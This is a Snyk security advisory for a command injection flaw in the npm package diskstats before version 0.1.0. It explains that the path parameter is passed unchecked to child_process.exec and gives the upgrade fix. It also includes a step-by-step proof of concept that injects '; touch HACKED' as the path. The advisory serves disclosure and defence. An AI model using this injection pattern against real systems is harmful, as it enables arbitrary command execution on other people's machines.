Homepage
About Snyk

Command Injection Affecting diskstats package, versions <0.1.0

0.0
critical

Snyk CVSS

    Attack Complexity Low
    Confidentiality High
    Integrity High
    Availability High

    Threat Intelligence

    Exploit Maturity Proof of concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-JS-DISKSTATS-590099
  • published 24 Jul 2020
  • disclosed 23 Jul 2020
  • credit d3lla
Report a new vulnerability Found a mistake?

Introduced: 23 Jul 2020

CVE NOT AVAILABLE CWE-78 Open this link in a new tab

How to fix?

Upgrade diskstats to version 0.1.0 or higher.

Overview

diskstats is a library that uses df to pull disk information such as free space & inode utilization on your system.

Affected versions of this package are vulnerable to Command Injection. The path parameter is used to build the command that is passed to the child_process.exec function without any check.

PoC by Alessio (d3lla)

  1. create a directory for testing

    mkdir poc
cd poc/

  2. install diskstats module: npm i diskstats

  3. create the following PoC JavaScript file (poc.js):

    const diskstats = require('diskstats');
diskstats.check('; touch HACKED', (err, results) => {});

  4. make sure that the HACKED file does not exist: ls

  5. execute the poc.js file: node poc.js

  6. the HACKED file is created: ls